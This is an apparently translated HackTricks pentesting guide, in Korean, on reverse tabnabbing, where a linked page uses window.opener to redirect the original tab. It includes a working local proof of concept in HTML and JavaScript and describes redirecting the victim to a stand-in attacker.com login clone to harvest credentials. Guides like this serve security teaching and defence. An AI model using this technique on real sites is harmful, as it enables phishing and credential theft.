hacktricks/src/pentesting-web/reverse-tab-nabbing.md

82 lines
4.4 KiB
Markdown

{{#include ../banners/hacktricks-training.md}}
# 설명
**공격자**가 피해자가 클릭할 **`<a`** 태그의 **`href`** 인자를 **제어**할 수 있는 상황에서, **공격자**는 이 **링크**를 자신의 제어 하에 있는 웹(악성 웹사이트)으로 **지정**합니다. 그런 다음, **피해자가 링크를 클릭**하고 공격자의 웹사이트에 접근하면, 이 **악성 웹사이트**는 자바스크립트 객체 **`window.opener`**를 통해 **원래** **페이지**를 **제어**할 수 있습니다.\
페이지에 **`rel="opener"`**가 없지만 `target="_blank"`가 포함되어 있고 `rel="noopener"`가 없으면, 또한 취약할 수 있습니다.
이 행동을 악용하는 일반적인 방법은 `window.opener.location = https://attacker.com/victim.html`을 통해 원래 웹의 위치를 공격자가 제어하는 웹으로 **변경**하는 것입니다. 이 웹은 **원래 웹사이트**처럼 **보이도록** 하여 원래 웹사이트의 **로그인** **양식**을 **모방**하고 사용자에게 자격 증명을 요청할 수 있습니다.
그러나 **공격자가 이제 원래 웹사이트의 윈도우 객체를 제어할 수 있으므로**, 그는 이를 다른 방식으로 악용하여 **은밀한 공격**을 수행할 수 있습니다(아마도 자바스크립트 이벤트를 수정하여 그가 제어하는 서버로 정보를 유출할 수 있겠죠?).
# 개요
## 백 링크가 있는 경우
예방 속성이 사용되지 않을 때 부모 페이지와 자식 페이지 간의 링크:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png)
## 백 링크가 없는 경우
예방 속성이 사용될 때 부모 페이지와 자식 페이지 간의 링크:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png)
## 예제 <a href="#examples" id="examples"></a>
폴더에 다음 페이지를 생성하고 `python3 -m http.server`로 웹 서버를 실행합니다.\
그런 다음, **접근** `http://127.0.0.1:8000/`vulnerable.html, **클릭**하여 **링크**를 클릭하고 **원래** **웹사이트**의 **URL**이 **변경**되는 것을 주목하세요.
```html:vulnerable.html
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
```html:malicious.html
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
```
```html:malicious_redir.html
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
## Accessible properties <a href="#accessible-properties" id="accessible-properties"></a>
**교차 출처** 접근이 발생하는 시나리오에서, **opener** JavaScript 객체 참조로 지칭되는 **window** JavaScript 클래스 인스턴스의 속성은 악의적인 사이트가 접근할 수 있는 것으로 제한됩니다:
- **`opener.closed`**: 이 속성은 창이 닫혔는지 여부를 확인하기 위해 접근되며, 불리언 값을 반환합니다.
- **`opener.frames`**: 이 속성은 현재 창 내의 모든 iframe 요소에 대한 접근을 제공합니다.
- **`opener.length`**: 현재 창에 존재하는 iframe 요소의 수를 이 속성이 반환합니다.
- **`opener.opener`**: 이 속성을 통해 현재 창을 연 창에 대한 참조를 얻을 수 있습니다.
- **`opener.parent`**: 이 속성은 현재 창의 부모 창을 반환합니다.
- **`opener.self`**: 이 속성은 현재 창 자체에 대한 접근을 제공합니다.
- **`opener.top`**: 이 속성은 가장 상위의 브라우저 창을 반환합니다.
그러나 도메인이 동일한 경우, 악의적인 사이트는 [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript 객체 참조에 의해 노출된 모든 속성에 접근할 수 있습니다.
# Prevention
예방 정보는 [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing)에 문서화되어 있습니다.
## References
- [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
{{#include ../banners/hacktricks-training.md}}